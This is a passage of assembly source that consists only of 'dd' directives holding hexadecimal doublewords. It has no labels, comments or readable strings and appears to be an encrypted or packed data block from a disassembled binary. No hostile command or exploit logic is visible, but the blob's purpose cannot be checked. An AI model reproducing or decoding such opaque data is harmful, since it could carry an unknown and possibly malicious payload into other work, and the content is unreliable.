dd 0DD5416DDh, 0CD0C5416h, 545CDEF5h, 0B8546FDEh, 0BB816FDEh dd 9053FDD1h, 0D458D190h, 11E28739h, 2E2E2F3Ah, 7ED16938h dd 0BBD9D1D2h, 3B739ABh, 399057F1h, 5288E96Eh, 21945CACh dd 39D1D0D5h, 0B63996BBh, 945A88FDh, 2D3D945Ah, 50E39054h dd 6C50AD6Ch, 0B2BE3A97h, 50816C50h, 6C50F86Ch, 56D19056h dd 579DD190h, 5ADAA590h, 909053FDh, 57ED52D1h, 9057F990h dd 709057F9h, 5A9FD1D1h, 0EEB9C494h, 0D9945ACFh, 89D9C42Eh dd 0D1BBE138h, 39D1BBC1h, 9416E490h, 0E9C42E01h, 0C1039458h dd 9458945Ch, 333AD331h, 0D981E111h, 89D9C42Eh, 81E11138h dd 39D1BBC1h, 9416E22Ch, 0C42E8121h, 11399458h, 0E1115AE1h dd 5AE1115Ah, 115AE111h, 0E1115AE1h, 5AE1185Ah, 0C839945Ah dd 11BA945Ah, 945AD8E1h, 0C4D1F6F7h, 0D1D3EEB9h, 9338D4D1h dd 2ED1BBA9h, 0EA91F5C4h, 0D1F69694h, 91D1D5D0h, 0C42ED1D1h dd 0C594EAF5h, 0D0D1F696h, 94EAD1D5h, 0D1F696C5h, 39E9C42Eh dd 94EAE55Dh, 0D1F696CDh, 5ABC3A88h, 0C42E2554h, 2E1952F9h dd 52CD94EAh, 11E2C1ACh, 84D1D53Ah, 0B9D190A1h, 90A19058h dd 905889D1h, 9190589Dh, 58E59058h, 9058F590h, 0D19058C5h dd 593D9058h, 90590190h, 0A1905919h, 90A1D190h, 905971D1h dd 59D190A1h, 90A19059h, 9059A1D1h, 0B5D190A1h, 90A19059h dd 90599DD1h, 0E19059EDh, 90A19059h, 0D190A1D1h, 0A1D190A1h dd 693DD190h, 545CD0F9h, 2E9D5458h, 11E28164h, 0D1D1DB38h dd 0D1D0F138h, 52CAD1C1h, 642EC06Ch, 3A903E49h, 3E495CE1h dd 61B98890h, 0B90D545Ch, 545C53C5h, 545C81D1h, 0E281642Eh dd 0AC521811h, 0D1D07CDDh, 29D9AC52h, 803D9058h, 945AF152h dd 3D945899h, 0D12F5A80h, 0D99C5AD1h, 10D1D12Fh, 0D12FD931h dd 0C13110D1h, 10D1D12Fh, 0BB3DC931h, 0D12E2EDBh, 39D1D113h dd 5A84FC19h, 0BB823A3Dh, 3ABBE93Ah, 0D33ABBCCh, 2DB452E2h dd 0D0D9A42Eh, 9458945Ch, 0B9843A21h, 0C9945CD1h, 945A9021h dd 0EC523D3Dh, 2EA4D1D1h, 0BB88812Eh, 128CD1D0h, 0E2C42EC6h dd 11E25211h, 945CD03Ah, 69259458h, 5B8DD1DAh, 29AC5290h dd 3D2D945Ah, 945C3D52h, 0D601B935h, 0A381B9D3h, 0D0D1D190h dd 1889D0D1h, 0D0D1D0D1h, 90A31889h, 0E9C42ED1h, 0D0F80139h dd 0C42E1889h, 0F8A139E9h, 0D11889D0h, 0BBD1D1BBh, 3AD061D1h dd 3DD1900Eh, 16D83D52h, 0D1D0F594h, 0F1D1D1D0h, 8539D1BBh dd 3811E2F5h, 0D5945CD5h, 0B6382EB9h, 0D190A32Eh, 0E2E9238h dd 11E2D190h, 2D94583Ah, 5A3A11E2h, 0D0BB2D94h, 3D503D89h dd 0AB2D9416h, 2E2E545Ah, 545AF22Eh, 0E1D9945Ah, 3903545Ah dd 0D1D1D0D2h, 2E545AABh, 803D2E2Eh, 50803D52h, 2E11E2D5h dd 945AD9A4h, 0DD9C5ADDh, 392D945Ah, 9458CC9Dh, 3AD33A29h dd 2E945AFBh, 0D1BB2E2Eh, 0D1BBD15Ah, 0C7841218h, 2E3D945Ah dd 9416D8A4h, 589416D8h, 945C359Ch, 0D1900E0Dh, 5A11E2D6h dd 0A42E2D94h, 0D1900E09h, 0E2E533Ah, 503DD190h, 0D239033Dh dd 0D89416D8h, 9C589416h, 0D1900E35h, 5A11E2D6h, 2EC32D94h dd 0AD38D4C4h, 0D11D545Ch, 0D0BB545Ch, 5642E2Eh, 0ED1900Eh dd 0BB3DD190h, 3D5A84D0h, 3DA42ED1h, 0F6CF5280h, 5AD1BBD1h dd 0A3A42E81h, 0F6CFD190h, 115488D1h, 3A545ACCh, 945A3AD3h dd 0D23903DDh, 0D4C42ED0h, 0D1C2D0BBh, 642ED1D1h, 39D1BBC1h dd 9416C501h, 0E9C42E21h, 0A3239458h, 0D1D6D190h, 0C79958D1h dd 2E6C52CEh, 66DED12Eh, 0D601EC11h, 0DE2EB9AAh, 67DE1166h dd 1167DE11h, 0DE1167DEh, 9C5A1167h, 0C36C393Dh, 0DE1166DEh dd 67DE1167h, 1167DE11h, 5A1167DEh, 93393D9Ch, 1166DEC3h dd 8DD601ECh, 0DE88D0BBh, 0D1BBD066h, 0BB1167DEh, 0D17BBBD0h dd 0B9D0BBD1h, 393D9C5Ah, 66DEC060h, 67DE8811h, 0DED1BBD0h dd 0DE881167h, 0B5B9D067h, 393D9C5Ah, 0BBD3C084h, 545888D1h dd 0DED12E2Eh, 2E2E1166h, 1166DED1h, 0AAD601ECh, 66DE2EB9h dd 1167DE11h, 0DE1167DEh, 67DE1167h, 3D9C5A11h, 0DEC18B39h dd 67DE1166h, 1167DE11h, 0DE1167DEh, 9C5A1167h, 0DE0E393Dh dd 0EC1166DEh, 0BB8DD601h, 1166DED0h, 0D067DE88h, 67DED1BBh dd 67DE8811h, 5AA5B9D0h, 9F393D9Ch, 66DE88DEh, 0DED1BBD0h dd 0D0BB1167h, 1167DEBBh, 393D9C5Ah, 66DEDF23h, 7D545811h dd 0D3E9C42Eh, 90A3C9B9h, 155C5AD1h, 2E155C5Ah, 8188D12Eh dd 545AD12Eh, 24D190A3h, 523D2E2Eh, 2D94583Dh, 39D0D1B9h dd 2ED7CA65h, 0CA4F39A4h, 5A2D9C5Ah, 0D13B2D9Ch, 905B41D1h dd 84D1D1E7h, 21B93D5Ah, 0D190A15Bh, 0D11DB9D1h, 0B9D165B9h dd 0EC52D14Dh, 0D1A5D1D1h, 0D0D1A5D1h, 3251B918h, 881154D1h dd 54389458h, 0D0C511D3h, 58DB9139h, 95382594h, 219458D3h dd 11C5B983h, 4E3AD0C5h, 21B4522Eh, 11219458h, 6C3AD0C5h dd 945CD552h, 2ED19032h, 90320164h, 0D0C511D1h, 32D0C511h dd 0B9ADD190h, 0D0C511D5h, 0A4399458h, 0C5115ACAh, 0CC39D1D0h dd 8412188Fh, 2E2E3D5Ah, 0B9803D2Eh, 9552D1D0h, 16D6905Ah dd 35945894h, 38C1BBD1h, 9458D16Ah, 945AE931h, 0DFD16FDEh dd 5AD8945Ah, 39A42E94h dd 5880803Dh, 2ED12D94h, 52803DA4h, 5AD99C5Ah, 9C5ADD9Ch dd 3D503DC1h, 0D538D4A5h, 0B9D551B9h, 0D3C938B9h, 395AEFA4h dd 0D1ECD2C2h, 3638D4D3h, 3A25545Ch, 0BBD03AD3h, 3D5458D1h dd 0D13D642Eh, 0D05152D1h, 315458D1h, 85545AA3h, 2ECE905Ah dd 0A7388864h, 3DD1D0D0h, 0D0D53D50h, 0D190A1D1h, 5CC5B988h dd 537D2D54h, 642EE190h, 0D53D503Dh, 90A1D1D0h, 88D1D0D1h dd 88545C88h, 5458A9B9h, 642EC029h, 3D89D0BBh, 0D0D53D50h dd 0D190A1D1h, 0D2B9D1BBh, 0D1D1D1BBh, 0D190A1D1h, 0A139945Ch dd 0B9D1D190h, 0D1D1D151h, 5CD190A1h, 642E2994h, 0D190A131h dd 0D13D503Dh, 0B9D1945Ch, 0D1D0D5EEh, 2E905C35h, 545CC1A4h dd 545C8129h, 3DD1BBD0h, 0DCA43D52h, 3D503D5Ah, 0D1D1D0D5h dd 523DC42Eh, 9458883Dh, 5AB0BBABh, 5F55359Ch, 3AD33A90h dd 2C299458h, 0BBD1D1D1h, 0D1BBD1D1h, 0A139945Ch, 0A42ED190h dd 905FF9D9h, 0A1945CD1h, 0BBD1D190h, 9053FDD1h, 3DBBD190h dd 90A13D50h, 0D1D12DD1h, 5C31545Ah, 54880D54h, 31545A11h dd 585A39D0h, 5C353D94h, 3D945A90h, 0D13D945Ah, 90A1545Ch dd 3A2DB9D1h, 0D3905F5Dh, 0BB95545Ch, 49545CD1h, 0D1D1BBD1h dd 2ED1545Ch, 0D190A3C4h, 0D53D503Dh, 90A1D1D0h, 29545AD1h dd 2C29545Ah, 545AD1D1h, 0D39D129h, 3925545Ch, 2E882B0Ah dd 0D190A1C4h, 2E2B5839h, 2ED185C4h, 0D1D06CC4h, 0F1D190A3h dd 5C88C1BBh, 2DAC5254h, 0D9BBD9BBh, 6D39545Ch, 0D1F6C12Bh dd 0D9E05417h, 2E0F545Ch, 545CD92Eh, 0D1522E2Eh, 90A3D1B9h dd 6C52D8D1h, 0A3D1B9D1h, 52D8D190h, 0C42EE36Ch, 0C2E2E0Ch dd 54582E2Eh, 91642EEDh, 6CE95458h, 642ED1D0h, 9B545CE9h dd 0D1D072B9h, 642E88D1h, 1811E2E5h, 0B95CDBBBh, 0D5D02E2Eh dd 0A53981D1h, 58D1D06Ch, 52882594h, 945AD9ACh, 72A42EC1h dd 5EFDD1D0h, 0A42E8190h, 0DE945ACBh, 945AD16Fh, 3D523D29h dd 0D1C9945Ah, 0D1BBA42Eh, 905E9D2Eh, 0D1299458h, 5AC7A339h dd 945AD194h, 2E945AD1h, 5A862E2Eh, 9697DAA4h, 0F38C8A8Fh dd 6FDE945Ah, 0D16FDED1h, 583D523Dh, 5AFD2D94h, 0D16FDE94h dd 5A2DB452h, 9458D994h, 0D99C5829h, 3A945AF0h, 3AD35AC4h dd 29945832h, 58C1AC52h, 803D2994h, 0D9945A52h, 5880803Dh dd 94582D94h, 0D99458D9h, 58D99458h, 0FEA4D994h, 0EA39815Ah dd 0DEA42EE1h, 945A1167h, 0DC3A88DDh, 3DC9945Ah, 945C3D52h dd 1945C29h, 0C931945Ch, 6FDE9021h, 25945C94h, 5C946FDEh dd 0ED392194h, 6FDE883Bh, 5C2D945Ch, 85B93594h, 945AD95Eh dd 0D8299458h, 0D33A945Ah, 25945A3Ah, 3DDD945Ah, 8C8A8782h dd 3B913912h, 0B5AC50D8h, 0A3C2A42Eh, 16DAA2D7h, 0A2D1D1D1h dd 0D1D116DAh, 0D7A3C2D1h, 3DD7A3C1h, 0B9D6BB80h, 0A41154D1h dd 863D503Dh, 0D13676B9h, 0D190A1D1h, 52E288F5h, 5416216Ch dd 0A55416A5h, 16A55416h, 5416A554h, 0A55416A5h, 0DEA55416h dd 5CDD546Fh, 5416DD54h, 0D3D3D1C8h, 5416D1D1h, 61541669h dd 8F905AB5h, 0D076188Ah, 2D9458D1h, 0A52E2E06h, 945C9043h dd 81B9D109h, 552039DCh, 2E2E905Eh, 905E7188h, 582688D7h dd 0BB812994h, 395458D1h, 5C39545Ch, 0F6C12954h, 29545CD1h dd 5C6C52FAh, 0BBD10D54h, 0D1900ED1h, 0EBBD0BBh, 51B9D190h dd 9DEC5242h, 3AA9B9C3h, 9439B9C1h, 5416DD66h, 0DB5416DDh dd 54165416h, 41541645h, 0B55D5416h, 11E2905Ah, 0D1D07618h dd 0D9904259h, 54DED1BBh, 0D076B9AAh, 162D9416h, 5CF52D94h dd 0D1B9D154h, 3A45D5B9h, 2EE552D6h, 0E654DE64h, 2ED5B9C2h dd 5AB53D64h, 13188F90h, 1CB9803Dh, 45852E2Eh, 9C42E90h dd 88AF39F5h, 3AD1A039h, 1218D1C5h, 0F509C42Eh, 3988D139h dd 3D523D22h, 0F509C42Eh, 39885D39h, 0DD3AD1AEh, 0D1F4523Dh dd 0B9D1B9D1h, 84128C79h, 0F1D1F458h, 45A5EC52h, 0D1D19190h dd 8AD1DC58h, 523D1318h, 2ED1BB3Dh, 0D0D3D1D1h, 11E23A89h dd 90BC6B18h, 86D1F458h, 2E88B458h, 9045B9A4h, 8AD1DC58h dd 523D1318h, 3279B93Dh, 11219458h, 3279D049h, 88D1D190h dd 11299458h, 945AD049h, 19D2D129h, 0D17291D1h, 5AD9AC52h dd 7299D194h, 0E249B9D1h, 0D0BB3A11h, 79B93D89h, 0D17299D1h dd 2ED1945Ah, 903279A4h, 5284128Ch, 5AC62DACh, 0D1D1D594h dd 2904565h, 1170D1D1h, 945A8432h, 88DFE439h, 5ACB67DEh dd 3D503D54h, 0D1AD52D1h, 5AD17299h, 0D1D04994h, 0D1000C39h dd 3279A42Eh, 90456590h, 70903279h, 52D13211h, 955CD1ADh dd 88DD4F39h, 70B467DEh, 32117211h, 39955AD1h, 2ED1011Dh dd 3D503D64h, 1D1D072h, 0B9D1D1D1h, 3811E23Dh, 51903279h dd 52D121B4h, 0D1D239ADh, 0D1903279h, 0A42E955Ch, 0D43AD32Dh dd 2EB9803Dh, 1154D9A4h, 0C9BB3DA4h, 3DD1D5D1h, 2E3DA42Eh dd 0A45A86A4h, 8A128C8Ah, 11E2128Ch, 0D1BBD938h, 941F5439h dd 9458A42Eh, 67DEB705h, 5AD190A1h, 503D2194h, 0D1D37D3Dh dd 0A1D1D11Ch, 0D1D2D190h, 0C42ED1D1h, 0D13DB9D1h, 0B9D1C42Eh dd 0C42ED10Dh, 0D1D417D1h, 90A352D0h, 545AF6D1h, 0F191545Ah dd 545AA42Eh, 38D1D1E1h, 89E1545Ah, 444567DEh, 9044B990h dd 0B9904491h, 388847C9h, 88D1D1D8h, 8818E739h, 2ECFAC52h dd 0A42EDFA4h, 0ECD1D118h, 2EDFF611h, 0D1D118A4h, 58A42EDFh dd 0BBD13994h, 2ED83AD1h, 0D0CD693Dh, 5C81D1D1h, 0D1C1D154h dd 88905E9Dh, 0B9C41154h, 2EC73A8Dh, 79D239B9h, 3AD39032h dd 904749D4h, 7652803Dh, 0AC52D1D2h, 140D39C1h, 39F53A88h dd 5A881414h, 0B1A73994h, 39D072B9h, 47651467h, 0DD945A90h dd 38A42E81h, 945AD13Ch, 0D17E38DDh, 38BB3981h, 5A81D15Fh dd 0E39E3A94h, 81DD945Ah, 3981945Ah, 1167DE26h, 0E3D061D5h dd 945A3A11h, 0A42E81DDh, 5AD09338h, 0D538DD94h, 945AC7D0h dd 5A5AE5ADh, 7E38DD94h, 0C43981D1h, 81D15F38h, 9E3A945Ah dd 0DD945AE3h, 81945A81h, 67DE7339h, 0D061D511h, 163A11E3h dd 0F63A2D94h, 29945816h, 58945ADDh, 945A3194h, 9945831h dd 0AE52E8ADh, 945852E2h, 88D1D12Dh, 5AC1A42Eh, 1154C594h dd 0A51154A5h, 88904ED5h, 9238B738h, 0A51154CFh, 0D545CCAh dd 1154904Fh, 0DE1154A5h, 5411B99Dh, 38D4A411h, 39642E22h dd 4D395458h, 1154904Fh, 0D738D4DEh, 58315458h, 545A3154h dd 904FA131h, 38A51154h, 1154CAB1h, 0DE1154A5h, 0C86F88DDh dd 0D1D3D3D1h, 642EDDD1h, 2E642EDDh, 5CD42E2Eh, 545CD454h dd 54905AB5h, 5CDEA511h, 545CDE54h, 54A51154h, 0DED1DE11h dd 154586Fh, 0DD5416DDh, 545C5416h, 0A5115475h, 54A51154h dd 1154A411h, 0A51154A5h, 54A51154h, 1154A511h, 0A51154A5h dd 2E882E2Eh, 1154882Eh, 0A51154A5h, 54A51154h, 1154A511h dd 0A51154A5h, 54C20D38h, 1154A411h, 0A51154A4h, 54A51154h dd 0D0D5A511h, 903A2DD1h, 54C33038h, 1154A511h, 0D1D1C3DEh dd 58654239h, 9B384954h, 49642EC3h, 39D1C1D1h, 4A6165ECh dd 0A5115490h, 39D1D1C0h, 54586251h, 0C0E63845h, 38455C5Ah dd 1154C13Eh, 4E3888A5h, 54A51154h, 9A38A511h, 0A51154C1h dd 38A51154h, 1154DE26h, 0DE1838A5h, 54A51154h, 1154A511h dd 51B988A5h, 5AA51154h, 0C9B9CD94h, 900A593Fh, 54D1D1CDh dd 0D1DFA511h, 0A51154D1h, 54DC2C38h, 1154A511h, 0D1D1DCA5h dd 54DCB338h, 0CF38A511h dd 0A51154DCh, 54A51154h, 0D1DDA411h, 0A51154D1h, 38A51154h dd 1154DA2Eh, 0A41154A4h, 0C8A51154h, 1154D1D1h, 0C42ED1A5h dd 0FDD1BBD1h, 0D1909053h, 0C42ED152h, 5AA51154h, 5B9CD94h dd 0A5115448h, 54A41154h, 4638A511h, 0A51154DBh, 54DBB838h dd 1154A411h, 0DE1154A5h, 0ED1BBD1h, 0BBD3D190h, 0D1D5D0D1h dd 54D1900Eh, 0BBD1DE11h, 0D1900ED1h, 0D0D1BBD5h, 900ED1D5h dd 0D1900ED1h, 0D4DE1154h, 545CD738h, 0BA545CBFh, 5AB9545Ch dd 1154CD94h, 0D1BBC1DEh, 81D12E2Eh, 5458C42Eh, 545CD081h dd 0B92E2E2Eh, 115449F1h, 0A51154A4h, 54A51154h, 1154A411h dd 0A41154A5h, 54A51154h, 5458A511h, 0D2DE3895h, 54A51154h dd 1154A411h, 215416DEh, 163D5416h, 54163954h, 31541635h dd 540D5416h, 0D3BBA511h, 4721B9B9h, 88A41154h, 5A3D8F8Eh dd 0D9945894h, 5C3D5A84h, 4E992954h, 904E9990h, 0D53D503Dh dd 9458D1D1h, 945888D9h, 0DDD051ECh, 54585416h, 904E7DC5h dd 5411E2D6h, 5488DE11h, 904E5911h, 51A41154h, 1154904Eh dd 4EA5B9A4h, 6DA41154h, 0B9B92E2Eh, 0A411544Eh, 0D3115488h dd 1154D1D1h, 0A41154DEh, 54904E59h, 4E51A411h, 0A4115490h dd 544EA5B9h, 2E6AA411h, 4EB9B92Eh, 54A41154h, 2E2EA411h dd 904E8D58h, 89A41154h, 1154904Eh, 904E85A4h, 54A41154h dd 1154A411h, 904E9DA4h, 0B9A41154h, 39D14E7Dh, 0B839817Bh dd 0F680803Dh, 0D14DD1D2h, 2E2E7AD1h, 2E41B139h, 2ED129A4h dd 3D5A84A4h, 52A42EB5h, 3BB9DDACh, 0B9C03A90h, 52903BB9h dd 3639C1ACh, 0B9C03A90h, 38903639h, 0DD11D153h, 0B9B9D12Eh dd 0B9945A88h, 0D14A903Bh, 52DD11D1h, 11A5D1D1h, 0B9D12EDDh dd 38B9B939h, 0D13BB9B9h, 503D88D1h, 2D545C3Dh, 0E4903639h dd 39B9D1D1h, 903E4936h, 495CC23Ah, 0DE88903Eh, 1154D16Fh dd 4B9020C9h, 545CD1D1h, 903EC92Dh, 0DB6D0239h, 88F55416h dd 55416E2h, 81BB8188h, 31526C52h, 9B98AFEh, 59D1D149h dd 6FDE900Ah, 3FC9B9D4h, 0D1B9F53Ah, 945C945Ch, 51945C51h dd 88904ED5h, 3EC9945Ch, 188E8890h, 0E3D639D1h, 0D1E3D1D1h dd 9038B9D1h, 0B99038B9h, 0EC523BB9h, 0D0BBD0A5h, 5A9071CDh dd 53C52994h, 29545C90h, 0F929545Ch, 53C59071h, 0D1D14790h dd 0CD2D545Ch, 945A9071h, 907189D9h, 99D9945Ah, 71F99071h dd 0C1945C90h, 0B929945Ah, 545C53C5h, 29545C29h, 3D522E2Eh dd 0C1D1D569h, 9053C5D1h, 5CD1D145h, 523D2D54h, 0C42E2E3Dh dd 0CED1BBD1h, 0BB88DED1h, 0D1D519D1h, 3DD0BBD1h, 0BBE88080h dd 0D99C5AE1h, 5AABBBC4h, 9C5AD99Ch, 9070A5D9h, 38115488h dd 70B5DCBFh, 0A4115490h, 54D1D1DCh, 7085A411h, 0DE115490h dd 95DE1154h, 11549070h, 945AC3DEh, 0B9DD5B38h, 74520A59h dd 0D1BBAB3Ch, 5A19545Ah, 5B811954h, 0A5115490h, 39A41154h dd 11549071h, 0A42E81A5h, 5DB3938h, 11549071h, 633E39DEh dd 88415416h, 5281BB81h, 0FE31526Ch, 0D5D1D15Fh, 0C938904Eh dd 90711DD8h, 54A41154h, 5458A411h, 0D9AF38C9h, 54907161h dd 5AF0DE11h, 903EC994h, 75545C88h, 0C9B99071h, 900A593Fh dd 49A51154h, 0C23A9071h, 5CC23A5Ch, 38907149h, 7145D674h dd 0A4115490h, 41D6AE38h, 11549071h, 995458DEh, 0D1D6E038h dd 21C9D1D0h, 1167DE90h, 0D1D72438h, 21C9D1D0h, 0A4115490h dd 81A41154h, 3888C9B9h, 0DE115456h, 91945A81h, 54583981h dd 0E9398195h, 81545888h, 5A88CF39h, 5AC03A94h, 819071ADh dd 0AF3A6339h, 0D1D3D15Ah, 2E9071ADh, 54882E2Eh, 0C59C5A11h dd 85C99C5Ah, 11549070h, 0DD945AA4h, 549071A5h, 945AA411h dd 0C59C5ADDh, 0D8C99C5Ah, 545A6C52h, 0D1D159E5h, 0D3A41154h dd 545AAE3Ah, 916FDEA9h, 0AE916FDEh, 2E2E16F6h, 0D140382Eh dd 0F56C52E5h, 5C5A545Ah, 0A41154F9h, 549071A1h, 67DEA411h dd 5417D811h, 0FD2688B5h, 5CC1945Ah, 0A4115454h, 0D1D1D0D1h dd 673852D1h, 907085D3h, 54A51154h, 5458DE11h, 0A15458A1h dd 0DC15545Ah, 1154545Ch, 1167DEDEh, 2E545ACDh, 0D43A2E2Eh dd 3AD1D138h, 0EAD1D150h, 10D12594h, 29945831h, 0EA2910D1h dd 10D12594h, 29945831h, 0D12910D1h, 94583110h, 945AD129h dd 582E9959h, 67DE2994h, 9467DE94h, 589467DEh, 0D43A2994h dd 1154D138h, 2E3AD3A4h, 3A55DDA4h, 0D45C8890h, 8AC1BBD1h dd 52CF1218h, 5210D228h, 3D10D2D1h, 5C863D52h, 903A4994h dd 0D1E45C88h, 0E57D2F5Ah, 12188A7Bh, 26102826h, 94581028h dd 0D9945A29h, 58D99C5Ah, 94582D94h, 29945829h, 58D99C5Ah dd 803D2D94h, 29945880h, 882D945Ah, 94589458h, 29945829h dd 3D945888h, 0E385945Ah, 0D9945AC1h, 91D99C5Ah, 0D1D1FA89h dd 945A8852h, 0A3DD9458h, 5A88BBE4h, 0DD945894h, 0BBE9BB88h dd 5AD92ED1h, 0C1BB8894h, 0F1945AB7h, 582458F5h, 94581194h dd 0FEF78F8Bh, 94585807h, 5A299425h, 0E89458B6h, 6A9A2E2Bh dd 9458B427h, 58945854h, 9C5A2994h, 80803DD9h, 3D945A90h dd 3A7D5280h, 0D5BBD190h, 0D1903A65h, 2ED1D5BBh, 218687A4h dd 0D112D2D1h, 0D2D110D2h, 17D2D113h, 0D116D2D1h, 0D2D114D2h dd 2339D115h, 0D1DE21D1h, 21D1DE21h, 1AD2D1DEh, 0D118D2D1h dd 8ED1DE21h, 0C939868Fh, 0D1D1D1B6h, 20269C5Ah, 8A8F8E5Ah dd 0D187823Dh, 39868F8Eh, 2EF4D11Fh, 0D1128C8Ah, 8C8A2EF4h dd 3152D112h, 3A128C8Ah, 2E2E5A81h, 2E2E2E2Eh, 58D99458h dd 803DDD94h, 0DD945A80h, 5A299458h, 9458D99Ch, 3D523DD9h dd 11945C86h, 0E45C903Ah, 12188A11h, 0F03AD3AFh, 0D3AE945Ah dd 945AF03Ah, 54D1D1CAh, 0B9D1A411h, 0D9945AD1h, 71D9945Ah dd 0D1D19079h, 52D1D152h, 0D152D1D1h, 0D1D152D1h, 52D1D152h dd 0C1A41154h, 945AD1D1h, 0D9945AD9h, 0FD1D1CBh, 0B9B1D1D1h dd 1552D179h, 0BB545A81h, 0D1D1D1D2h, 35B9F152h, 9552D1D1h dd 0D4112E2Eh, 52E4A45Ah, 0CF299458h, 0B452D4BBh, 5AD41125h dd 0B13D503Dh, 5888D13Bh, 2D642E54h, 0D1D1D18Bh, 121888D1h dd 0D1D3D184h, 0B139545Ch, 1154D13Bh, 6C52D8DEh, 3A90177Dh dd 177D5C52h, 90177D90h, 5CA51154h, 11543954h, 39545CA5h dd 382E2E91h, 11542F8Ah, 39545CA5h, 5CA51154h, 11543954h dd 39545CA5h, 542E2EEEh, 545CA511h, 0A5115439h, 5439545Ch dd 5B81DE11h, 5BB1B990h, 0D1545CD7h, 545CD1D3h, 0DE115439h dd 58545888h, 642E6D54h, 39545C6Dh, 5CDE1154h, 52D83954h dd 9052A96Ch, 38545888h, 0BBD3D3CCh, 903A2DD1h, 0EA39545Ch dd 545C2E2Eh, 2E2EEA39h, 5CDE1154h, 2E263954h, 9014892Eh dd 9139545Ch, 2E6A5458h, 0A511542Eh, 0D139545Ch, 545CD1D3h dd 0D5131839h, 0D02E2EEBh, 1709D1D1h, 0A5115490h, 5C90171Dh dd 545CD154h, 0D1B9E3D1h, 54901719h, 176DA511h, 0D1545C90h dd 69D1B9E3h, 11549017h, 0D1D19EA5h, 0DB299458h, 16D5945Ch dd 642EB490h, 58219458h, 2E2EE954h, 0E9642E88h, 2FA42E3Dh dd 803D2E2Eh, 9D3AD339h, 8116C1B9h, 0D076A42Eh, 0D1D19CD1h dd 2E2E2EA8h, 90A3882Eh, 2EB9D5D1h, 589052A9h, 2EA92554h dd 4D545C2Eh, 0D1D1BBD1h, 90A3C42Eh, 0D1D19BD1h, 0D1A5642Eh dd 90A3C2BBh, 545AD1D1h, 5BD190A3h, 642EB154h, 545AD125h dd 0A8D190A3h, 0B9D02E2Eh, 85545835h, 599016B1h, 0BBD1900Ah dd 0D190A3D8h, 18882E2Eh dd 0D076D513h, 2E2EEAD1h, 81901661h, 2EA0A42Eh, 2994582Eh dd 0DE945AF2h, 0D0BBD16Fh, 3D523D89h, 0D6DDAC50h, 0E2D611E2h dd 1552D111h, 2ED190A3h, 0D058E9C4h, 0D1D03552h, 0D11552D1h dd 59D1D1BBh, 0A42ED194h, 0AB399458h, 5C5AB0BBh, 3AD33AA1h dd 0D1ADB988h, 5AF1D1D0h, 545CD154h, 0DD88D1D1h, 0D0D1D416h dd 0B9B83AD1h, 58903CC1h, 0D3D12994h, 3A89D0D1h, 5452803Dh dd 90A3A411h, 299458D1h, 5A52EB11h, 0EB112994h, 0DDA42ED4h dd 582E2E0Dh, 11542D54h, 0D1545CA4h, 7B907001h, 2EEB2E2Eh dd 0D1D3D2A4h, 0A2A41154h, 5AD27452h, 0B9E53A54h, 5C3AD33Ah dd 5CD17D54h, 29A42E54h, 0D02E2E2Dh, 9458A42Eh, 3D503D2Dh dd 0D0D1D07Ch, 9458545Ch, 903A252Dh, 0B9545A88h, 5458D239h dd 2EF53A99h, 0B9A41154h, 94582E2Eh, 0D12E2E25h, 392D9458h dd 0A42EFE1Ch, 0A42E812Dh, 11299458h, 0EB1852EBh, 3A4F3A5Ah dd 3D2E2E2Eh, 0B9C73D50h, 0A4115451h, 0D1D1D1D3h, 11E2D1D9h dd 21945838h, 0D1905E9Dh, 39D10D39h, 901F8568h, 0BB89D5BBh dd 89D389D2h, 89D0BB38h, 919DB9D7h, 5458901Fh, 356C5235h dd 52D7BBD4h, 6C52316Ch, 89D4BB35h, 0D4356C52h, 6C52D7BBh dd 89D4BB35h, 9D3D503Dh, 545CD1D0h, 0A4115427h, 5C642EF6h dd 0C9B92B94h, 52B53A21h, 0B95CDBBBh, 0D5D02E2Eh, 0A53981D1h dd 0B9F53A88h, 545C21C9h, 23642E65h, 5C52CA3Ah, 642E2B94h dd 3D503D23h, 0D1D1D318h, 545C545Ch, 11545C11h, 5C115488h dd 0D43A7D54h, 5416DD38h, 0DBBB5416h, 545B5416h, 3139D165h dd 39882E2Eh, 0D1E2D1D2h, 2638D4D1h, 54545C88h, 5CD1A411h dd 61545854h, 0FA4739F2h, 38D47554h, 0D0DE38E0h, 589DB9AAh dd 603A7954h, 0A41154B9h, 5C5AA83Ah, 545B7554h, 901F0D47h dd 18545CF5h, 52D7D513h, 0D03B38ACh, 5C3DB452h, 5C880994h dd 11548894h, 0DF059458h, 9458A42Eh, 9416D601h, 39D1D1FEh dd 0D072EFF8h, 901E85D1h, 9DA42E81h, 5AEB905Eh, 55545C54h dd 0D1935416h, 545B545Ch, 545CD1B9h, 38D1D1FDh, 0D1FD2F95h dd 2E2E84D1h, 0D12E2EC5h, 803D6139h, 0D1D2F652h, 39D1D1FAh dd 1E1FACDh, 2E2E8490h, 529001B5h, 5AC32D74h, 39545C54h dd 85D1D1FBh, 5AC19001h, 2E2E2E54h, 3D91642Eh, 0ADB9B980h dd 0A42ED101h, 0D1D1D1F8h, 523D58D1h, 0D190543Dh, 39D1D13Bh dd 939E736h, 0C1A42ECAh, 0F69000E1h, 2E82D1D1h, 0D1D2392Eh dd 58545CDBh, 0DEC5E154h, 3929A466h, 0D15CB23Ah, 0D2392E2Eh dd 545CF5D1h, 80900081h, 52D72E2Eh, 0D01D38ACh, 623D9458h dd 2EDFD1D3h, 9416D6A4h, 58D1D1F5h, 16D8D559h, 0F26C3994h dd 392D945Ah, 2E819000h, 945CD1A4h, 91905A85h, 94589458h dd 5A85B9D9h, 0D1945891h, 0D43A945Ah, 1889D038h, 0D1D3D1C8h dd 945AD3B9h, 89D0BB39h, 0D19003A1h, 0A9B9A42Eh, 29945852h dd 5870BD3Ah, 0CB3A3194h, 0E274A45Bh, 2E182E2Eh, 0D1D5E288h dd 0ED5458D1h, 58642ED1h, 5458F554h, 0F95458E9h, 58E55458h dd 5AC3FD54h, 545AC354h, 0C3545AC3h, 255545Ah, 9002A590h dd 0B5D1D1CFh, 0D1CF9002h, 900295D1h, 0D12E2E2Bh, 545B545Ch dd 0D1D07601h, 0B92D9458h, 2ED10231h, 0D076B9A4h, 0C3D17452h dd 802E545Ah, 0D1BBD1D9h, 0C3C1642Eh, 802E545Ah, 945ADDD9h dd 0D191D2B9h, 0D1BB5AD1h, 799B9BBh, 0DDC1642Eh, 5AC3945Ah dd 0D9802E54h, 0D2D1D1DBh, 0D1D1D191h, 945AD0BBh, 909138D4h dd 5AC352D1h, 0D9802E54h, 0D191D2B9h, 99B9545Ch, 5AD1D107h dd 0CD91D2B9h, 5AD0D1D1h, 545AC354h, 